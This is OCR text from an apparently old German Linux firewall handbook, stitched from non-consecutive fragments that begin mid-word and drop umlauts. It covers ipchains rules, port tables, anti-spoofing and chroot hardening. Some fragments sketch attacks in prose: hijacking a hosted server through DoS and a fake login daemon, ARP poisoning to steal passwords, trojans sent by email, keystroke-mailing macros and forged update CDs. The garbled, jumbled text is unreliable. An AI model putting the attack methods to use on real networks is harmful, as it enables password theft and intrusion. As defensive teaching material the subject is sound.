206. arf zu machen Mail www telnet ftp Verbindungen in das Internet sollten nun transparent ber die Firewall hinweg funktionieren 22 6 Absicherung von Servern mit chroot chrooi ist eine Funktion von UNIX die im Falle eines erfolgreichen Buffer Overflows daf r sorgt da der Zugriff nur auf ein Unterverzeichnis der Festplatte erfolgen kann Ein Angreifer der also mit den Rechten des D mons versucht auf das Verzeichnis etc zuzugreifen der wird unweigerlich scheitern Hierzu bietet der LINUX Firewallkernel verschiedene Sicherheitslevel security level an die sich allerdings in der Version 2 0 noch stark von den m chtigen Security Leveln von Free Net OpenBSD Trusted Solaris Erstellt von Doc Gonzo http kickme to plugins unterscheiden Erst mit der LINUX Kernelversion 2 2 wurden diese Mechanismen nachgebildet leider reichen diese aber nicht an die der BSD UNIXe heran weil hierzu neue Flags bei den Dateirechten hinzugef gt werden m ten Stichwort append only flag Es ist z B somit einem gew hnlichen User nicht mehr m glich berhaupt Supervisor zu werden oder einem Administrator nicht m glich Logdateien einzusehen oder zu ver ndern Man sieht die sogenannten Trusted Kernel von Solaris oder den freien BSD UNIXen haben durchaus ihren Sinn Wer nun berlegt ob er Trusted Solaris oder Open Net FreeBSD einsetzen soll der ist mit FreeBSD 3 1 oder Open NetBSD besser beraten Inzwischen sind alle BSD und Solaris
207. as Modul Net RAWIP f r PERL und FreeBSD anschauen Genial einfach und kostenlos Feindliche bernahme von benachbarten Servern Themen e Stilllegung des Targets DoS e MAC spoofing e Uberwachung von Netzen Kleinere Provider haben Kundenserver auf einer collision domain gemeinsam angeschlossen Ist ein speziell ins Auge gefaBter Server bei diesem Provider nicht verletzlich so benutzt ein Angreifer weitere Tricks H ufig findet sich dort zumindest ein Server der verletzbar ist oder es ist m glich nach Absprache mit dem Provider f r einige Tage probeweise dort einen Server aufzustellen Mit Hilfe dieses Servers l t sich dann ein mit dem Zielserver identischer Server aufbauen der dann ber st ndige DoS Angriffe den Ur Server stilllegt und somit seinen Platz bernehmen kann Es dauert nur wenige Tage oder Stunden bis der Systemadministrator versucht sich einzuloggen Uber einen pr parierten Login D mon Erstellt von Doc Gonzo http kickme to plugins der jedes Pa wort erlaubt bemerkt der Systemadministrator nicht da er in Wirklichkeit auf einem fremden Server eingeloggt ist Da das echte Pa wort nun verloren ist kann der Probeserver nun wieder abgebaut werden Selbstverst ndlich reicht auch ein einfaches sniffen auf einem der Ports f r die Fernwartung Etwas schwieriger wird es wenn der Provider einen Switch oder switching hub aufgestellt hat und somit Kundenserver voneinander trennt Ein Mitproto
208. assen DNS4 aus Service bel UDP 53 bel zulassen DNSS5 aus Service bel TCP gt 1023 53 bel zulassen DNS6 ein bel Service TCP 53 gt 1023 ja zulassen DNS7 ein bel Service TCP gt 1023 53 bel zulassen DNS8 aus Service bel TCP 53 gt 1023 ja zulassen STD1 aus bel bel bel bel bel bel verbieten STD2 ein bel bel bel bel bel bel verbieten Regel Erl uterungen SPOOF Pakete die angeblich von internen IP Adressen stammen d h gef lschte Pakete die mit hoher Wahrscheinlichkeit von einem Angreifer stammen oder deren Ursache in einer Fehlkonfiguration liegt werden blockiert TEL1 und TEL2 Ausgehende TELNET Verbindungen werden durch diese Regeln erlaubt FTP1 FTP2 FTP3 und FTP4 Ausgehende FTP Verbindungen im passiven Modus werden durch diese Regeln zugelassen wobei die Regeln FTP1 und FTP2 den Kommandokanal und die Regeln FTP3 und FTP4 den Datenkanal erm glichen Beliebige TCP Verbindungen vom Service Host zu jedem Rechner im Internet werden durch die beiden letztgenannten Regeln ebenfalls erm glicht falls auf beiden Seiten Portnummern gt 1023 vorliegen SMTP1 und SMTP2 Ausgehende Post vom Service Host ins Internet wird durch diese Regeln zugelassen SMTP3 und SMTP4 Eingehende Post aus dem Internet zum Service Host wird durch diese Regeln zugelassen NNTP1 und NNTP2 Ausgehende Usenet News von Ihrem News Server zum News Server Ihres Service Providers werden durch diese Regeln zugelassen HTTP1 und HTTP2 Diese Regeln er
209. aten von einem Client der SOCKS unterst tzen mu Netscape ber den PROXY auf dem ein SOCKS D mon installiert sein mu von und zu einem Internet Server bertragen SOCKS verf gt ber keinerlei F higkeit in Pakete hinein zu schauen er leitet sie nur weiter Falls also der Client gegen ber buffer overflows verletzbar ist so ist er es stets auch hinter dem PROXY Einzige Ausnahme sind Angriffe die auf den TCP IP Stack zielen Diese werden vom PROXY abgefangen Es d rfte klar sein da bei dieser Konstruktion nicht von Sicherheit gesprochen werden kann Im Grunde kann man auch einen E Mail D mon oder auch einen DNS Server als PROXY bezeichnen sie werden auch als store and forward PROXY bezeichnet Vorsicht bei dem Begriff PROXY ist immer angebracht Der Kernel des Betriebssystems mu also f r die Weiterleitung der Pakete zwischen den Netzwerk Interfaces sorgen w hrend der PROXY die Authentifizierung telnet login SOCKS bernimmt Gelingt es dem Angreifer die PROXY Software durch einen DoS Angriff stillzulegen so ist der Weg in das innere Netzwerk offen da der Kernel stets Datenpakete forwarded Mit Hilfe von gespooften source routing pakets gelingt es einem Angreifer dann von au erhalb hosts im inneren Netzwerk zu erreichen Unter dieser Sicherheitsl cke leiden sehr viele Systeme DoS dient hier nicht der Deaktivierung eines hosts sondern eher der Reaktivierung unterdr ckter Qualit ten Wenn also von PROXY s
210. atz so ist das Risiko da ein Angriff direkt beim ersten Versuch zum Erfolg f hrt u erst gering Der Angreifer ben tigt dann mehrere Versuche um erfolgreich zu sein was das Risiko der Entdeckung stark erh ht Auch sollten in einer Kaskade von Firewalls niemals dieselben Prozessoren zum Einsatz kommen Dasselbe trifft auch auf die fast noch wichtigeren Log Server zu da ohne diese Dokumente ein Einbruch nicht bemerkt werden kann Helfen wrapper und chroot Wrapper wie sie unter UNIX h ufig eingesetzt werden installieren sich zwischen Kernel und D monen Hauptgrund ist da unter BSD UNIX Ports unterhalb von 1024 als Erstellt von Doc Gonzo http kickme to plugins priviligierte Ports definiert wurden und alle D monen mit Supervisor Rechten starten mu ten Vielfach wurden diese Restriktionen aufgeweicht und inzwischen ist es m glich da D monen mit minimalen Rechten als User auf den privilegierten Ports laufen Wrapper k nnen den Zugriff f r bestimmte IP Nummern sperren und D monen mit Userrechten starten Betrachtet man z B den smapd einem Wrapper aus dem TIS FWTK der sich zwischen Kernel und Mailerd mon setzt so basiert dieser auf einem klaren Konzept Der smapd l uft zwar mit Administratorrechten ist aber so klein und bersichtlich da es m glich war diesen sicher zu programmieren Er nimmt die Daten entgegen und leitet diese an einen Mailer Damon weiter der dann nur mit minim
211. aufhin so reagieren als w ren verschiedenste IP Nummern einzeln getestet worden Wenn also der Host Name www netscape com in 20 IP Nummern sich aufl st und der Name www intra net in 2 IP Nummern dann wird der Befehl ipchains A input j reject s www intra net d www netscape com direkt 40 Regeln auf der input chain ausgeben testen und anzeigen Der andere Weg ipchains dazu zu bewegen mehrere Regeln zugleich zu testen ist die Angabe des Flags b f r bidirektional Diese Regel l t ipchains sich so verhalten als wenn der Befehl zweimal eingegeben worden w re einmal in der einen Richtung und einmal in der anderen Richtung also f r eingehende und ausgehende Pakete nacheinander ipchains b A forward j reject s 192 168 1 1 Die Option b kann zusammen mit den Optionen I und D sowie A und C Insert Delete Append und Check angewendet werden Ein weiteres sinnvolles Flag ist v welches angibt was ipchains mit dem Befehl macht Zum Beispiel werden hier das Verhalten von Fragmenten zwischen Host 192 168 1 1 und 192 168 1 2 untersucht ipchains v b C input p tcp f s 192 168 1 1 d 192 168 1 2 i lo tcp opt f tos OxFF 0x00 vialo 192 168 1 1 gt 192 168 1 2 gt packet accepted tcp opt f tos OxFF 0x00 vialo 192 168 1 2 gt 192 168 1 1 gt packet accepted 12 12 Praktische sinnvolle Beispiele Ich besitze eine Dial on Demand ISDN Verbindung i ippp0 Ich rufe News ab p
212. aus surft Zugriff auf das Netzwerk hat Zahlreiche und immer neue Fehler in der Benutzeroberfl che von Windows 98 NT 4 0 die ja dem Internet Explorer identisch ist erm glichen es einem Angreifer ber JAVASKRIPT Erstellt von Doc Gonzo http kickme to plugins ACTIVE X und in wenigen F llen ber JAVA direkt auf die Festplatte zuzugreifen Falls ein Angreifer nur einen einzigen WWW Server im Internet kennt der von Mitarbeitern h ufig besucht wird oft ist es der eigene WWW Server so wird ein professioneller Angreifer wenig M he haben einigen WWW Seiten des Servers einige sicherheitsrelavante Skripte unterzuschieben Oft wird behauptet da die Sicherheit des WWW Servers unwichtig sei da er ja ohnehin keine geheimen Informationen beinhalte und somit f r Angreifer uninteressant sei Das Gegenteil ist der Fall Zudem fungiert dieser Server oft noch als E Mail Relay Station und enth lt wertvolle vertrauensw rdige E Mailadressen welche der Angreifer spooft um trojanische Pferde in das Netzwerk einzuschleusen Im Netzwerk von Unternehmen Was einen Angreifer brennendinteressiert Man kann davon ausgehen da es relativ einfach ist irgendeinem Benutzer im Netzwerk ein trojanisches Pferd via E Mail unterzuschieben Angenommen das Programm liefe f r kurze Zeit auf irgendeiner Arbeitsstation im Netzwerk Angenommen der Angreifer w te nichts ber die Struktur im Netzwerk selber wie w rde er strategisch am g nstigsten vor
213. beitet in ein sicheres System verwandeln kann Das zeigen auch unabh ngige Untersuchungen W hrend z B die IBM AS 400 nur 5 Stunden Downzeit Jahr hat wurde NT mit ber 250 Stunden unplanm iger Downzeit angegeben Erg nzung TCP IP Stacks und Timing Themen Funktionsweise des TCP IP Stacks Probleme bei HiSpeed Netzwerken Modernes Design bei BSD 4 4 Kerneln Spezielle Anforderungen im Internet Probleme bei Mehrprozessorsystemen Vergleich von UNIX OS 2 und NT Ein TCP IP Stack hat nicht nur alle die Kombinationen legaler und illegaler TCP IP Pakete und Flags zu erkennen und diese an die Betriebssystem Dienstprogramme zu bergeben sondern auch o g Angriffe abzuwehren Durch die unglaublich hohe Zahl an Kombinationsm glichkeiten sind _ zahlreiche Fallunterscheidungen notwendig Zweideutigkeiten und eine m gliche berlagerung verschiedenster Pakete erschweren die korrekte Analyse des Inhaltes der Pakete Zus tzliche Forderungen nach Echtzeitverhalten bei bertragungsraten von 10 100 1000 MBit stehen im Gegensatz zu den Anforderungen im Internet Es m ssen hier auch noch langsam eintreffende fragmentierte Pakete im Stack solange zwischengelagert werden bis diese reassembliert werden k nnen Gleichzeitig m ssen aber auch schnell eintreffende Pakete verarbeitet bergeben und beantwortet werden fast retransmit slow start congestion avoidance fast recovery RFC 2001 813 896 slow start Mechanismus Erstellt von Doc Go
214. ber ATM Geschwindigkeit Clustering m glich mit load balancing HA Solutions m glich Fernadministierbar Unlimited User Version Erstellt von Doc Gonzo http kickme to plugins Vollst ndiger Quellcode enthalten GNU Public License Unterst tzung f r neue Dienste Videokonferencing H323 SQL 14 2 Einsetzbare Hardware SINUS Firewall ist verf gbar f r folgende Prozessoren INTEL SPARC ALPHA MIPS ARM Power PC Motorola 6803x 14 3 Skalierbarkeit LOAD Balancing Software enthalten Einsatz unterschiedlicher Hardware m glich Kaskadierbar bei komplexen Firewallregeln firewall to firewall Protokollunterst tzung ber secure IP layer f r dynamische Firewallregeln und log entries High Availability und mission critical Einsatz Hardware Watchdog N Way Fallover 14 4 Administrierbarkeit Grafisches Werkzeug zur Konfiguration mehrerer Firewalls JAVA Benutzeroberfl che SSH Verschl sselung PPTP Verschl sselung ENSkip Verschl sselung Einbindung in UNIX Signal Handler 14 5 Protokollunterst tzung Vollst ndige Filterung aller IP TCP UDP ICMP IGMP Pakete Intelligenter RIP und FTP Support Dynamisches Regelwerk mit Countern und Timeouts anti spoofing Mechanismen anti SYN flooding 14 6 Unterst tzung f r folgende Dienste TELNET Ferwartung Administration FTP PASV Filetransfer HTTP SMTP e Mail SMNP Fernwartung NNTP NetNews RIP Router WAIS Datenbanken Erstellt von Doc G
215. bereits als Schutz ausreichend ndern von Firewallregeln Manchmal ist es sinnvoll Filterregeln zu ndern Hierzu sollte man folgenderma en vorgehen Ein Beispiel Erstellt von Doc Gonzo http kickme to plugins ipchains I input 1 j DENY ipchains I output 1 j DENY ipchains I forward 1 j DENY Die nderungen ipchains D input 1 ipchains D output 1 ipchains D forward 1 Wenn sich die nderungen auf eine einzige chain beziehen dann sollte eine neue chain mit neuen Regeln angelegt werden und dann diejenige Regeln in der input oder anderen chain ge ndert werden so da sie nun auf die neue chain zeigt Schutz vor Spoofing IP Spoofing ist ein Angriff bei dem Pakete mit falscher Absende Adresse vorget uscht werden Viele der exploits im Internet die Teardrop Ping of Death Angriffe ausf hren verwenden spoofing Der einfachste Weg ist die berpr fung der Quell IP Nummer und dem zugeh rigen Interface Diese berpr fung findet im IP Routing Code statt also nicht in dem Firewall Code selber Um dieses zu berpr fen sollte das Vorhandensein der Datei proc sys net ipv4 conf all rp_filter berpr ft werden Wenn diese existiert dann k nnen die Regeln aktiviert werden Debian Users sollten diese Regeln in die Datei etc init d netbase eingeben Allgemeiner anti spoofing Schutz if e proc sys net ipv4 conf all rp_filter then echo n Setting up IP spoofing protection for f
216. bestimmten Gr nden nur wenige Das Hauptaugenmerk sollte stets auf der RPC Unterst tzung liegen da dieses das Daten Austauschprotokoll Erstellt von Doc Gonzo http kickme to plugins der NT PDC s ist Dieses Protokoll wird unterst tzt von CCOM INET CHECKPOINT GTA GNATBOX KNOX F1 MATRANET M WALL NAI WATCHGUARD Eine Ausnahme ist die SINUS Firewall 1 Da diese den modernsten Kriterien der Statfull Packet Filter programmiert ist lassen sich hiermit quasi beliebige PROXY s auf Circuit Level emulieren Die Eigenschaft von teueren PROXY s die auch noch Inhalte filtern k nnen erreicht die SINUS Firewall nicht Von den letztgenannten Firewalls besitzen MATRANET KNOX F1 und CCOM INET keine sogenannten Zertifizierungen von einer bekannten Zertifizierungsstelle Zertifizierungen werden u a von ICSA ITSEC NCSA VSSI und dem deutschen BSI durchgef hrt Deren Bedeutung ist zweifelhaft auch wenn in der Vergangenheit grobe Fehler in den Firewalls entdeckt worden sind Daf r wurden viele andere Fehler bei den sogenannten Zertifizierungen aber auch einfach bersehen wie man anhand immer neu entdeckten Fehlern der vergangenen Zeit sehen kann 4 3 Liste deutscher Anbieter von Firewalls e Articon M nchen Burscheid http www articon de Firewall 1 Eagle und Cisco PIX Cisco IOS e Axis Information Systems Erlangen http www axis de Raptor Eagle und The Wall e BDG K ln Idstein Frankfurt http www bdg de Guardian Firewall 1
217. bevor Sie dieser Installationsanleitung folgen Sie ist allgemeing ltig auf alle D momen unter UNIX anwendbar und erh ht die Sicherheit eines Server enorm ohne sich negativ auf die Performance auszuwirken Sie sollten nachdem Sie diese bung hier absolviert haben alle Serverd momen unter UNIX so absichern Every effort has been made on the part of the NCSA HTTPd Development Team to ensure a high level of security from break ins through HTTPd Occasionally however we miss one For this reason the server processes which handle outside connections are setuid to another user such as nobody who should have no permissions on the machine This can be set using the User directive For some this might not be enough There is something more that you can do however Most systems have available a command line chroot command This command allows the system administrator its usually restricted to the root user to force a program to run under a subset of the file system without allowing access from it to any other parts of the file system This is usually how anonymous ftp is handled and more information about running programs chroot can be gleaned from manpages and such which correspond to setting up anonymous ftp The general form of the command is chroot directory command Erstellt von Doc Gonzo http kickme to plugins Where directory is the new root directory and command is the command to run under that directory For example
218. biniert werden um nur IP Nummern anzuzeigen oder mit der Option v um die Abst nde der Sequenznummern SSN der TCP Pakete Seriennummer der TCP Pakete damit diese nach eintreffen richtig einsortiert werden k nnen Der Option S sollten drei Timeout Werte folgen jede in Sekunden angegeben F r einfache TCP Verbindungen f r TCP Verbindungen nach eintreffen eines FIN Paketes und f r UDP Pakete Um die Default Einstellungen zu verwenden kann stets eine Null angegeben werden Die Defaultwerte sind in der Datei usr include net ip_masq h die auf 15 Minuten 2 Minuten und 5 Minuten eingestellt sind Der allgemein am Meisten ge nderte Wert ist der erste insbesondere f r FTP Verbindungen Siehe auch FTP Probleme Die Problematik mit Timeout Werten wird auch in dem Anschnitt Kann keine Timeouts f r Masquerading setzen Prufen einer Regel In einigen Fallen ist es von Interesse die Firewall chains zu debuggen Hierf r wurde die Option C f r das ipchains Werkzeug eingef hrt Hierbei werden dieselben Routinen aufgerufen die der Kernel selber verwendet um Pakete zu analysieren Hierbei mu nur der Name der chain angegeben werden gefolgt von der Option C W hrend der Kernel selber stets bei den chains input output oder forward chains beginnt kann der User jede chain angeben Die Einzelheiten der Pakete werden in der selben Syntax angegeben die schon f r die Definition der Firewallregeln benutzt wurde Das schlie t
219. blich schneller arbeitet Siehe auch Firewall Tuning Es ist wichtig da man beim Aufbau der Firewall ein wenig versucht mit der Default Policy und Firewallregeln herum zu spielen Wer die Thematik als Systemadministrator der Firewall begriffen hat der sollte auch stets seinen Stellvertreter in die Problematik einweihen damit nicht bei vermeintliche kleinen nderungen gro e Katastrophen eintreten 9 10 Masquerading und NAT Das Maskieren von Paketen findet im Kernel der LINUX Firewall statt S mtliche Adressen die im Intranet verwendet werden werden beim Forwarding mit der IP Nummer der Firewall selber versehen Sie erhalten die IP Adresse von dem Netzwerkinterface EXTERNES_INTERFACE Hierzu baut die Firewall eine Tabelle aller aktiven Verbindungen Internet Hosts in das Internet auf Zur ckkommende Pakete k nnen somit den Hosts im Intranet korrekt zugeordnet werden Masquerading ist hnlich NAT Network Address Translation Der Unterschied liegt nur darin da bei NAT m interne IP Nummern n externen IP Nummern zugeordnet werden wobei n kleiner als m Bei Masquerading ist nur m 1 zugelassen d h n interne Netzwerknummern werden auf 1 externe IP Nummer abgebildet NAT Patches f r die Kernel 2 0 und 2 2 sind aber im Internet verf gbar Da masquerading im Kernel bei dem forwarding Code stattfindet liegt es nahe das Masquerading bei den forwarding Regeln zu aktivieren F r Masquerading gibt es im LINUX Kernel zahlreiche PROXY
220. byte space that an application can roam It will NOT solve all problems but at least it will contain things Holy smokes There is so much Internet mania right now and there are so many uninformed people jumping on the bandwagon So if you are a system administrator than you should try to stay one step ahead of them all There is an extra benefit in chroot ing a web tree we can move our web tree anywhere anytime if a disk dies especially if you have a spare host that can suddenly assume your web hosts identity when your boot volume dies Erstellt von Doc Gonzo http kickme to plugins This might be important if you cannot live without your tree Don t laugh if all of your colleagues documentation lives there then well you can t live without it Sometimes documentation really IS important Before you start you have to decide if this is a do able task If your entire tree can live on one file system then this may be for you But if links and cgi Skripts reach out across filesystems and nodes and people s home directories in this automounted or afs ed world then this probably isn t your cup of tea You have to know your web tree really well first In particular take a close look at your cgi Skripts and all Skripts and utilities called by your cgi Skripts before you start We use the CERN http daemon and our web site is served by an HP running 9 05 HP UX and NIS but it is not an NIS server This information is
221. ceeded bedeutet da ein Paket in einer Schleife h ngt Diese Meldung sollte zugelassen werden ICMP Meldung 12 parameter problem bedeutet da es Probleme mit dem Paket Header gibt Diese Meldung kann erlaubt werden 18 12 Sonstige Dienste NTP Uhrzeit NTP ist ein Dienst auf Basis von UDP NTP Server benutzen Port 123 um untereinander und mit NTP Clients zu kommunizieren NTP Clients benutzen beliebige Portnummern ber 1023 Regel Richtung Protokoll Quellport Zielport ein UDP gt 1023 123 aus UDP 123 gt 1023 aus UDP gt 1023 123 ein UDP 123 gt 1023 ein UDP 123 123 aus UDP 123 123 Anmerkungen zu den Regeln SU RrRUDDH Erstellt von Doc Gonzo http kickme to plugins 1 Eingehende Anfrage Client an Server 2 Antwort auf eingehende UDP Anfrage Server an Client 3 Ausgehende Anfrage Client an Server 4 Antwort auf ausgehende UDP Anfrage Server an Client 5 Anfrage oder Antwort zwischen zwei Servern 6 Anfrage oder Antwort zwischen zwei Servern FINGER Information FINGER ist ein Dienst auf Basis von TCP Server verwenden Port 79 Clients verwenden Portnummern ber 1023 Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 79 SYN ACK 2 aus TCP 79 gt 1023 ACK 3 aus TCP gt 1023 79 SYN ACK 4 ein TCP 79 gt 1023 ACK Anmerkungen zu den Regeln 1 Eingehende Anfrage Client an Server ACK gesetzt au er im ersten Paket 2 Ausgehende Antwort Server an Client ACK ges
222. ch jedoch befinden sich in der Praxis m gliche Schwachstellen immer auf dem inneren Interface der Firewall Ein Angreifer wird also immer entweder auf das Konfigurations Interface der Firewall zielen oder was viel mehr von Erfolg gekr nt sein wird auf den Server in der DMZ oder Server im Netzwerk des Unternehmens Ein Angriff auf einen Server in der DMZ k nnte durch die screened subnet host vereitelt oder entdeckt werden Somit konzentriert sich die volle Aufmerksamkeit eines Angreifers stets auf Server oder Arbeitsstationen hinter der Firewall um mit deren Hilfe eine Art Tunnel durch die Firewall erstellen zu k nnen Besser jedoch ist wenn der Angreifer im Netzwerk hinter der Firewall einen Weg findet die Firewall umgehen zu k nnen Dies k nnten Arbeitsstationen mit ISDN Karte sein Fax Server o Ein Angreifer ben tigt somit immer die Hilfe von Mitarbeitern im Unternehmen ohne jedoch Mi trauen zu wecken Er mu den Einsatz von trojanischen Pferden m glichst pr zise vorausplanen da diese Angriffe von Mitarbeitern ausgef ht werden m ssen Er hat also keinerlei Steuerung oder Korrekturm glichkeiten mehr Diese Art Angriffe nennen sich blinde Angriffe Um jedoch auf irgendeine Art eine R ckmeldung zu erhalten ist es notwendig R ckmeldungen ber Erfolg Mi erfolg oder weitere Informationen unauff llig aus dem Unternehmen heraus zu schleusen vornehmlich ber E Mail oder das WWW Interface Hierzu mu er die interne Infrastr
223. chaus im Bilde wer in den Augen des Systemadministrators vertrauensw rdig ist und wer nicht E Mail Exchange Server von Providern sind oft sehr schlecht gesichert Die Logfiles enthalten aber wichtige Schl sselinformationen ber Kontaktpersone n Kunden Bekannte Tastatur Makro s Erstellt von Doc Gonzo http kickme to plugins Tasten Makro s k nnen via E Mail in ein Unternehmen eingeschleust werden Der Angreifer findet sicherlich einen User der mit der Umprogrammierung seiner Tastatur und den daraus resultierenden Konsequenzen nicht rechnet Lotus Notes z B kann so umprogrammiert werden da jeder Tastendruck eine neue E Mail in das Internet versendet Inhalt die Taste selber Ein Angreifer bekommt so via E Mail Pa worte Briefe in die H nde ein m chtiges Werkzeug welches schon h ufig gebraucht wurde Eingeschleuste Pseudo Updates Fast alle gr eren Firmen besitzen einen Wartungsvertrag ber Softwareupdates Man stelle sich vor der Systemadministrator bekommt eine Microsoft CDROM Update SP4 von seinem Lieferanten zugesandt CompuNet Digital Auf der CDROM ist aber nicht SP4 sondern SP1 mit all seinen bekannten Sicherheitsl cken und das Installationsprogramm ist eine gut gemachte Imitation welche zudem noch ein trojanische Pferd auf dem Server installiert Warnungen es k nnte eine neuere Version berschrieben werden erscheinen nicht alles l uft wie gewohnt Kurze Zeit sp ter wird der gut betr
224. che alle Pakete entweder zur ckweisen oder passieren lassen Die Filter Funktion wird jedoch nie direkt aufgerufen sondern ausschlie lich nur durch den Funktions Zeiger im Filter In der momentanen Implementierung zeigt der Funktions Zeiger im Filter entweder auf die Funktion des Kernel Filter Moduls oder auf eine der Dummy Routinen der Stub Datei Um Aufrufe zum Filter Funktions Zeiger hinzuzuf gen mu die Datei ip c modifiziert werden Beim starten des Systems ist der Funktions Zeiger des Filters auf die Paket passieren lassen Dummy Routine eingestellt soda die Firewall nicht arbeitet Ohne das freigeschaltete Dummy Interface ist die Firewall nicht in der Lage Informationen an das Monitor Interface zu senden Vorsicht also mit der Einstellung block all pakets 14 23 Komponenten der SINUS Firewall 1 Installation der Kernel Filter Module Das Kernel Filtermodul sf o enth lt Code zur Initialisierung Konfiguration und zum Betrieb des Firewall Devices dev firewall Der Quellcode befindet sich im File sf_device c Es sei noch erw hnt da sich sowohl der message buffer als auch die echten Paketfilter Funktionen sich in der Funktion sf_check_packet befinden Das Einf gen des Filters in den Kernel mit insmod hat keine Auswirkung auf den Funktionszeiger des PaketFilters und aktiviert somit auch nicht den message buffer 14 24 Starten des Firewall D mons Der Firewall D mon benutzt die Firewall Schnittstelle dev firewal
225. ches Themen MAC IP spoofing ARP Impfung Fehlerhafte Login s Angriffe auf Internet Knoten Switches werden von vielen Unternehmen eingesetzt Sie dienen der Lastenverteilung in Netzwerken und der Aufteilung einer gro en Kollision Domain in mehrere kleinere Somit sollte auch der Einsatz von Netzwerksniffern auf den lokalen Bereich begrenzt sein Ein fataler Irrtum M chte ein Angreifer z B ein Pa wort beim Login fischen so schickt er ein IP MAC gespooftes Paket das des Servers an welchem sich die Arbeitsstation Erstellt von Doc Gonzo http kickme to plugins einloggt in schnellen Abst nden an Arbeitsstationen in anderen Netzen Der Swich merkt sich dann den neuen Aufenthaltsort des Servers MAC und leidet die Pakete der sich gerade einloggenden Arbeitsstation an den Recher des Angreifers weiter In vielen F llen reicht auch schon eine ARP Impfung in die sich einloggende Arbeitsstation Der Vorgang ist einfach Ein ARP Broadcast findet immer dann statt wenn ein Host die MAC Adresse zu einer IP Nummer auf dem LAN sucht Die bei Microsoft und einigen anderen Herstellern fehlerhafte ARP Implementierung nimmt auch Informationen an wenn kein Broadcast ausgesendet wurde also der Host keinen Informationsbedarf hat Diese ARP Impfung in den Host und MAC spoofing f r den Switch f hren dann dazu da der sich einloggende Host an einem v llig anderen Server anmeldet das Pa wort bermittelt und dem Angreifer dire
226. chroot www httpd In this example www will become the new directory and anything not under www will not be accessible There are some difficulties associated with this however Anything you want to server run etc needs to be in www This also means that if HTTPd is linked with shared libraries the shared libraries have to be available under www Any cgi Skripts must be under www as well as the interpreters sh perl etc needed to run them Any shared libraries for the cgi Skripts need to be in www The document tree the server root the logfiles the user directories and a copy of etc passwd in www etc passwd if you want to have username paths You don t want to have the passwords in the www etc passwd file and you could fake a different user directory in it for username paths that is under the www directory Denice Deatrich of CERN set his server up in a chroot environment He wrote a step by step guide available here This is a non trivial thing to setup and it is unlikely to be necessary We will provide only minimal support for setting up a chroot server as we don t use this locally Example Using the following directory tree www wwwletc www docs www logs www conf www home www home blong www home httpd www cgi bin www icons www lib www bin Where www will be the new root directory Into www lib you will need to copy at least the shared c library libc so libe sa libe a libc
227. cht berein ist entweder der zugreifende Client ein Angreifer oder falsch konfiguriert Jedenfalls kann er seine Identit t nicht nachweisen und somit sollte er strikt abgelehnt werden Hierzu m ssen alle D monen des bastion hosts mit der Bibliothek des TCP Wrappers TCPD unter UNIX zusammen kompiliert werden Der Wrapper pr ft vor des Start eines Dienstes ob der double reverse lookup korrekt war War er das nicht so wird der Client abgelehnt Der TCP Wrapper und der INETD sind auch unter Windows NT verf gbar 18 10 Logging Dienste SYSLOG Log Server SYSLOG ist ein Dienst auf Basis von UDP SYSLOG Server die Meldungen anderer Systeme aufzeichnen berwachen den UDP Port 514 SYSLOG Clients benutzen im allgemeinen Portnummern ber 1023 um Verbindung zum Server aufzunehmen Ein SYSLOG Server sendet niemals Meldungen an die Clients zur ck SYSLOG Server k nnen so konfiguriert werden da sie Meldungen zu anderen SYSLOG Servern weiterleiten Sie benutzen in diesem Fall meist Port 514 als Client Regel Richtung Protokoll Quellport Zielport 1 ein UDP gt 1023 514 2 aus UDP gt 1023 514 3 aus UDP 514 514 4 ein UDP 514 514 Anmerkungen zu den Regeln 1 Externer Client nimmt Kontakt zum internen syslog Server auf 2 Interner Client nimmt Kontakt zum externen syslog Server auf 3 Externer syslog Server leitet Meldung an internen syslog Server weiter 4 Interner syslog Server leitet Meldung an externen syslog Server weiter 18 11 Routi
228. chutz gegen professionelle Angreifer mehr halten aber viele DoS Angriffe und weniger Erstellt von Doc Gonzo http kickme to plugins erfahrene Angreifer fern Sie dienen im Prinzip nur dazu die Verf gbarkeit der Server zu erh hen Im Gegensatz zu fr heren Empfehlungen Einrichten von Firewalls Chapman Zwicky sollten die Firewalls mindestens Statful Paket Filter SPF Firewalls sein und ber verschl sselte Protokolle zur Fernwartung und Analyse der Logfiles verf gen Die berwachung von Firewall 1 und der Server 1 2 in der DMZ stellt allerdings ein Problem dar dessen L sung nicht ganz trivial ist Logserver sind ebenfalls anf llig gegen buffer overflows und k nnen von Angreifern stillgelegt werden DoS attack Es darf unter keinen Umst nden Firewall 2 f r die kontinuierliche bertragung von Logfiles auf einen Logserver im lokalen Netz ge ffnet werden Es bietet sich an den WWW Server in der DMZ als Logserver f r Router und Firewall 1 einzusetzen Mit FTP z B k nnte eine Arbeitsstation die puren ASCII Logfiles von Router und Firewall 1 herunterladen und auswerten Besser ist jedoch ein eigener Server in der DMZ der nur eine Aufgabe hat n mlich die Logfiles zu speichern Da auf diesem alle weiteren Funktionen deaktiviert sind ist dieser h chstwahrscheinlich nicht anf llig gegen buffer overflows weil er viel weniger Angriffspotential bietet Ein Auswertungsprogramm k nnte aber so geringe Differenzen zwischen den Logfiles vo
229. cket Filter e Jos Vos dem Entwickler der LINUX Kernel Firewall ipfwadm e Rusty Russell dem Maintainer und Entwickler des IPCHAINS Code im LINUX Kernel 2 2 e Marcus Ranum dem Autor des TIS Firewall Toolkits http www fwtk org dem Erfinder der Application Level Proxy s und Programmierer der TIS Gautlet Firewall die brigends auch unter LINUX l uft Das TIS FWTK war der Vorlaufer aller Firewalls und ist auch heute noch gut brauchbar e Meiner Freundin Beate f r die viele Geduld und Unterst tzung e Bernd Eckenfels f r seine unerm dliche Arbeit beim Aufbau der FreeFire Site auf http sites inka de sites lina freefire I e Jens Hellmerichs Friedrich f r das Firewall Configuration Toolkit FCT welches erhebliche M hen beim Aufsetzen und Konfigurieren der IPFWADM und IPCHAINS Firewall Skripte erspart Man findet es unter http www fen baynet de ft114 FCT index htm oder besser weil aktueller unter http www friedrich net Weitere Toolkits findet man auf http www freshmeat net e Prof Andreas Borchert UNI Ulm f r seine wertvollen Tips zur Absicherung von PERL http www mathematik uni ulm de sai ss98 db Skript perlsec html Erstellt von Doc Gonzo http kickme to plugins
